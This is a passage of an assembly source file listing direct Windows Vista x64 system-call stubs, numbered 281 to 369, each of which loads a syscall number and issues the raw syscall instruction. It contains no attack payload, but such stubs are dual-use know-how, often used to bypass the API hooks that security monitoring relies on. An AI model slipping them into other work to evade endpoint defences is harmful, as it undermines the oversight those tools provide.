ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationTransactionManager PROC STDCALL mov r10 , rcx mov eax , 281 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationTransactionManager ENDP ; ULONG64 __stdcall NtQueryInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 282 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationWorkerFactory ENDP ; ULONG64 __stdcall NtQueryInstallUILanguage( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtQueryInstallUILanguage PROC STDCALL mov r10 , rcx mov eax , 283 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInstallUILanguage ENDP ; ULONG64 __stdcall NtQueryIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryIntervalProfile PROC STDCALL mov r10 , rcx mov eax , 284 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryIntervalProfile ENDP ; ULONG64 __stdcall NtQueryIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryIoCompletion PROC STDCALL mov r10 , rcx mov eax , 285 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryIoCompletion ENDP ; ULONG64 __stdcall NtQueryLicenseValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryLicenseValue PROC STDCALL mov r10 , rcx mov eax , 286 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryLicenseValue ENDP ; ULONG64 __stdcall NtQueryMultipleValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtQueryMultipleValueKey PROC STDCALL mov r10 , rcx mov eax , 287 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryMultipleValueKey ENDP ; ULONG64 __stdcall NtQueryMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryMutant PROC STDCALL mov r10 , rcx mov eax , 288 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryMutant ENDP ; ULONG64 __stdcall NtQueryOpenSubKeys( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryOpenSubKeys PROC STDCALL mov r10 , rcx mov eax , 289 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryOpenSubKeys ENDP ; ULONG64 __stdcall NtQueryOpenSubKeysEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtQueryOpenSubKeysEx PROC STDCALL mov r10 , rcx mov eax , 290 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryOpenSubKeysEx ENDP ; ULONG64 __stdcall NtQueryPortInformationProcess( ); _6_0_6000_sp0_windows_vista_NtQueryPortInformationProcess PROC STDCALL mov r10 , rcx mov eax , 291 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryPortInformationProcess ENDP ; ULONG64 __stdcall NtQueryQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtQueryQuotaInformationFile PROC STDCALL mov r10 , rcx mov eax , 292 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryQuotaInformationFile ENDP ; ULONG64 __stdcall NtQuerySecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQuerySecurityObject PROC STDCALL mov r10 , rcx mov eax , 293 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySecurityObject ENDP ; ULONG64 __stdcall NtQuerySemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQuerySemaphore PROC STDCALL mov r10 , rcx mov eax , 294 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySemaphore ENDP ; ULONG64 __stdcall NtQuerySymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtQuerySymbolicLinkObject PROC STDCALL mov r10 , rcx mov eax , 295 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySymbolicLinkObject ENDP ; ULONG64 __stdcall NtQuerySystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtQuerySystemEnvironmentValue PROC STDCALL mov r10 , rcx mov eax , 296 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySystemEnvironmentValue ENDP ; ULONG64 __stdcall NtQuerySystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQuerySystemEnvironmentValueEx PROC STDCALL mov r10 , rcx mov eax , 297 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySystemEnvironmentValueEx ENDP ; ULONG64 __stdcall NtQueryTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtQueryTimerResolution PROC STDCALL mov r10 , rcx mov eax , 298 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryTimerResolution ENDP ; ULONG64 __stdcall NtRaiseException( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtRaiseException PROC STDCALL mov r10 , rcx mov eax , 299 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRaiseException ENDP ; ULONG64 __stdcall NtRaiseHardError( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtRaiseHardError PROC STDCALL mov r10 , rcx mov eax , 300 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRaiseHardError ENDP ; ULONG64 __stdcall NtReadOnlyEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtReadOnlyEnlistment PROC STDCALL mov r10 , rcx mov eax , 301 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReadOnlyEnlistment ENDP ; ULONG64 __stdcall NtRecoverEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRecoverEnlistment PROC STDCALL mov r10 , rcx mov eax , 302 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRecoverEnlistment ENDP ; ULONG64 __stdcall NtRecoverResourceManager( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtRecoverResourceManager PROC STDCALL mov r10 , rcx mov eax , 303 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRecoverResourceManager ENDP ; ULONG64 __stdcall NtRecoverTransactionManager( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtRecoverTransactionManager PROC STDCALL mov r10 , rcx mov eax , 304 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRecoverTransactionManager ENDP ; ULONG64 __stdcall NtRegisterProtocolAddressInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtRegisterProtocolAddressInformation PROC STDCALL mov r10 , rcx mov eax , 305 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRegisterProtocolAddressInformation ENDP ; ULONG64 __stdcall NtRegisterThreadTerminatePort( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtRegisterThreadTerminatePort PROC STDCALL mov r10 , rcx mov eax , 306 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRegisterThreadTerminatePort ENDP ; ULONG64 __stdcall NtReleaseCMFViewOwnership( ); _6_0_6000_sp0_windows_vista_NtReleaseCMFViewOwnership PROC STDCALL mov r10 , rcx mov eax , 307 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReleaseCMFViewOwnership ENDP ; ULONG64 __stdcall NtReleaseKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtReleaseKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 308 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReleaseKeyedEvent ENDP ; ULONG64 __stdcall NtReleaseWorkerFactoryWorker( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtReleaseWorkerFactoryWorker PROC STDCALL mov r10 , rcx mov eax , 309 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReleaseWorkerFactoryWorker ENDP ; ULONG64 __stdcall NtRemoveIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtRemoveIoCompletionEx PROC STDCALL mov r10 , rcx mov eax , 310 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRemoveIoCompletionEx ENDP ; ULONG64 __stdcall NtRemoveProcessDebug( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRemoveProcessDebug PROC STDCALL mov r10 , rcx mov eax , 311 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRemoveProcessDebug ENDP ; ULONG64 __stdcall NtRenameKey( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRenameKey PROC STDCALL mov r10 , rcx mov eax , 312 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRenameKey ENDP ; ULONG64 __stdcall NtReplaceKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtReplaceKey PROC STDCALL mov r10 , rcx mov eax , 313 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReplaceKey ENDP ; ULONG64 __stdcall NtReplyWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtReplyWaitReplyPort PROC STDCALL mov r10 , rcx mov eax , 314 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReplyWaitReplyPort ENDP ; ULONG64 __stdcall NtRequestDeviceWakeup( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtRequestDeviceWakeup PROC STDCALL mov r10 , rcx mov eax , 315 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRequestDeviceWakeup ENDP ; ULONG64 __stdcall NtRequestPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRequestPort PROC STDCALL mov r10 , rcx mov eax , 316 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRequestPort ENDP ; ULONG64 __stdcall NtRequestWakeupLatency( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtRequestWakeupLatency PROC STDCALL mov r10 , rcx mov eax , 317 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRequestWakeupLatency ENDP ; ULONG64 __stdcall NtResetEvent( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtResetEvent PROC STDCALL mov r10 , rcx mov eax , 318 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtResetEvent ENDP ; ULONG64 __stdcall NtResetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtResetWriteWatch PROC STDCALL mov r10 , rcx mov eax , 319 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtResetWriteWatch ENDP ; ULONG64 __stdcall NtRestoreKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtRestoreKey PROC STDCALL mov r10 , rcx mov eax , 320 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRestoreKey ENDP ; ULONG64 __stdcall NtResumeProcess( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtResumeProcess PROC STDCALL mov r10 , rcx mov eax , 321 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtResumeProcess ENDP ; ULONG64 __stdcall NtRollbackComplete( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRollbackComplete PROC STDCALL mov r10 , rcx mov eax , 322 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRollbackComplete ENDP ; ULONG64 __stdcall NtRollbackEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRollbackEnlistment PROC STDCALL mov r10 , rcx mov eax , 323 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRollbackEnlistment ENDP ; ULONG64 __stdcall NtRollbackSavepointTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRollbackSavepointTransaction PROC STDCALL mov r10 , rcx mov eax , 324 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRollbackSavepointTransaction ENDP ; ULONG64 __stdcall NtRollbackTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRollbackTransaction PROC STDCALL mov r10 , rcx mov eax , 325 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRollbackTransaction ENDP ; ULONG64 __stdcall NtRollforwardTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtRollforwardTransactionManager PROC STDCALL mov r10 , rcx mov eax , 326 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRollforwardTransactionManager ENDP ; ULONG64 __stdcall NtSaveKey( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSaveKey PROC STDCALL mov r10 , rcx mov eax , 327 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSaveKey ENDP ; ULONG64 __stdcall NtSaveKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSaveKeyEx PROC STDCALL mov r10 , rcx mov eax , 328 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSaveKeyEx ENDP ; ULONG64 __stdcall NtSaveMergedKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSaveMergedKeys PROC STDCALL mov r10 , rcx mov eax , 329 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSaveMergedKeys ENDP ; ULONG64 __stdcall NtSavepointComplete( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSavepointComplete PROC STDCALL mov r10 , rcx mov eax , 330 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSavepointComplete ENDP ; ULONG64 __stdcall NtSavepointTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSavepointTransaction PROC STDCALL mov r10 , rcx mov eax , 331 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSavepointTransaction ENDP ; ULONG64 __stdcall NtSecureConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtSecureConnectPort PROC STDCALL mov r10 , rcx mov eax , 332 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSecureConnectPort ENDP ; ULONG64 __stdcall NtSetBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetBootEntryOrder PROC STDCALL mov r10 , rcx mov eax , 333 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetBootEntryOrder ENDP ; ULONG64 __stdcall NtSetBootOptions( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetBootOptions PROC STDCALL mov r10 , rcx mov eax , 334 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetBootOptions ENDP ; ULONG64 __stdcall NtSetContextThread( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetContextThread PROC STDCALL mov r10 , rcx mov eax , 335 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetContextThread ENDP ; ULONG64 __stdcall NtSetDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSetDebugFilterState PROC STDCALL mov r10 , rcx mov eax , 336 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetDebugFilterState ENDP ; ULONG64 __stdcall NtSetDefaultHardErrorPort( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetDefaultHardErrorPort PROC STDCALL mov r10 , rcx mov eax , 337 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetDefaultHardErrorPort ENDP ; ULONG64 __stdcall NtSetDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetDefaultLocale PROC STDCALL mov r10 , rcx mov eax , 338 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetDefaultLocale ENDP ; ULONG64 __stdcall NtSetDefaultUILanguage( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetDefaultUILanguage PROC STDCALL mov r10 , rcx mov eax , 339 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetDefaultUILanguage ENDP ; ULONG64 __stdcall NtSetDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetDriverEntryOrder PROC STDCALL mov r10 , rcx mov eax , 340 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetDriverEntryOrder ENDP ; ULONG64 __stdcall NtSetEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetEaFile PROC STDCALL mov r10 , rcx mov eax , 341 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetEaFile ENDP ; ULONG64 __stdcall NtSetHighEventPair( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetHighEventPair PROC STDCALL mov r10 , rcx mov eax , 342 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetHighEventPair ENDP ; ULONG64 __stdcall NtSetHighWaitLowEventPair( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetHighWaitLowEventPair PROC STDCALL mov r10 , rcx mov eax , 343 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetHighWaitLowEventPair ENDP ; ULONG64 __stdcall NtSetInformationDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtSetInformationDebugObject PROC STDCALL mov r10 , rcx mov eax , 344 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationDebugObject ENDP ; ULONG64 __stdcall NtSetInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationEnlistment PROC STDCALL mov r10 , rcx mov eax , 345 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationEnlistment ENDP ; ULONG64 __stdcall NtSetInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationJobObject PROC STDCALL mov r10 , rcx mov eax , 346 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationJobObject ENDP ; ULONG64 __stdcall NtSetInformationKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationKey PROC STDCALL mov r10 , rcx mov eax , 347 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationKey ENDP ; ULONG64 __stdcall NtSetInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationResourceManager PROC STDCALL mov r10 , rcx mov eax , 348 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationResourceManager ENDP ; ULONG64 __stdcall NtSetInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationToken PROC STDCALL mov r10 , rcx mov eax , 349 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationToken ENDP ; ULONG64 __stdcall NtSetInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationTransaction PROC STDCALL mov r10 , rcx mov eax , 350 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationTransaction ENDP ; ULONG64 __stdcall NtSetInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationTransactionManager PROC STDCALL mov r10 , rcx mov eax , 351 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationTransactionManager ENDP ; ULONG64 __stdcall NtSetInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 352 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationWorkerFactory ENDP ; ULONG64 __stdcall NtSetIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetIntervalProfile PROC STDCALL mov r10 , rcx mov eax , 353 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetIntervalProfile ENDP ; ULONG64 __stdcall NtSetIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtSetIoCompletion PROC STDCALL mov r10 , rcx mov eax , 354 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetIoCompletion ENDP ; ULONG64 __stdcall NtSetLdtEntries( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtSetLdtEntries PROC STDCALL mov r10 , rcx mov eax , 355 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetLdtEntries ENDP ; ULONG64 __stdcall NtSetLowEventPair( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetLowEventPair PROC STDCALL mov r10 , rcx mov eax , 356 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetLowEventPair ENDP ; ULONG64 __stdcall NtSetLowWaitHighEventPair( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetLowWaitHighEventPair PROC STDCALL mov r10 , rcx mov eax , 357 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetLowWaitHighEventPair ENDP ; ULONG64 __stdcall NtSetQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetQuotaInformationFile PROC STDCALL mov r10 , rcx mov eax , 358 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetQuotaInformationFile ENDP ; ULONG64 __stdcall NtSetSecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSetSecurityObject PROC STDCALL mov r10 , rcx mov eax , 359 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetSecurityObject ENDP ; ULONG64 __stdcall NtSetSystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetSystemEnvironmentValue PROC STDCALL mov r10 , rcx mov eax , 360 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetSystemEnvironmentValue ENDP ; ULONG64 __stdcall NtSetSystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtSetSystemEnvironmentValueEx PROC STDCALL mov r10 , rcx mov eax , 361 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetSystemEnvironmentValueEx ENDP ; ULONG64 __stdcall NtSetSystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSetSystemInformation PROC STDCALL mov r10 , rcx mov eax , 362 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetSystemInformation ENDP ; ULONG64 __stdcall NtSetSystemPowerState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSetSystemPowerState PROC STDCALL mov r10 , rcx mov eax , 363 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetSystemPowerState ENDP ; ULONG64 __stdcall NtSetSystemTime( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetSystemTime PROC STDCALL mov r10 , rcx mov eax , 364 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetSystemTime ENDP ; ULONG64 __stdcall NtSetThreadExecutionState( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetThreadExecutionState PROC STDCALL mov r10 , rcx mov eax , 365 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetThreadExecutionState ENDP ; ULONG64 __stdcall NtSetTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtSetTimerResolution PROC STDCALL mov r10 , rcx mov eax , 366 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetTimerResolution ENDP ; ULONG64 __stdcall NtSetUuidSeed( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetUuidSeed PROC STDCALL mov r10 , rcx mov eax , 367 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetUuidSeed ENDP ; ULONG64 __stdcall NtSetVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtSetVolumeInformationFile PROC STDCALL mov r10 , rcx mov eax , 368 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetVolumeInformationFile ENDP ; ULONG64 __stdcall NtShutdownSystem( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtShutdownSystem PROC STDCALL mov r10 , rcx mov eax , 369 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtShutdownSystem ENDP ; ULONG64 __stdcall NtShutdownWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtShutdownWorkerFactory PROC STDCALL mov r10 , rcx mov eax 